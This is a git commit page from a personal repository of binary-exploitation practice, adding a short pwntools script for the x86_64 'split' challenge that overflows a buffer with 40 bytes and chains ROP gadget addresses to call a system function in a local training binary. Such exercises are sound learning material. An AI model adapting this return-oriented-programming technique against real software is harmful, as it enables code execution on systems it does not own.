summaryrefslogtreecommitdiff
path: root/x86_64/split/exploit.py
diff options
context:
space:
mode:
authorBrett Weiland <brett_weiland@bpcspace.com>2020-12-14 18:27:06 -0600
committerBrett Weiland <brett_weiland@bpcspace.com>2020-12-14 18:27:06 -0600
commitae586f332c3fa2919fca99b0ff8acf1e339b0061 (patch)
tree1a91dbbf26977db4492d9f752231c5bc3a358506 /x86_64/split/exploit.py
parentc9f44615e78db425febfdc3b601b90d2a3df7456 (diff)
new file: x86_64/ret2win/.gdb_history
new file: x86_64/ret2win/core new file: x86_64/ret2win/exploit.py new file: x86_64/split/.gdb_history new file: x86_64/split/core new file: x86_64/split/core.split.25050 new file: x86_64/split/exploit.py new file: x86_64/split/fuckyou new file: x86_64/split/xaa
Diffstat (limited to 'x86_64/split/exploit.py')
-rwxr-xr-xx86_64/split/exploit.py17
1 files changed, 17 insertions, 0 deletions
diff --git a/x86_64/split/exploit.py b/x86_64/split/exploit.py
new file mode 100755
index 0000000..0340b77
--- /dev/null
+++ b/x86_64/split/exploit.py
@@ -0,0 +1,17 @@
+#!/usr/bin/env python3
+from pwn import *
+
+
+context.binary = "./split"
+prog = process('./split')
+payload = b''
+
+for c in range(40): #originally 40
+ payload += b'a'
+
+payload += p64(0x00000000004007c3)
+payload += p64(0x0000000000601060) # usefulString
+payload += p64(0x000000000040074b) # usefulFunction + offset
+
+prog.sendline(payload)
+prog.interactive()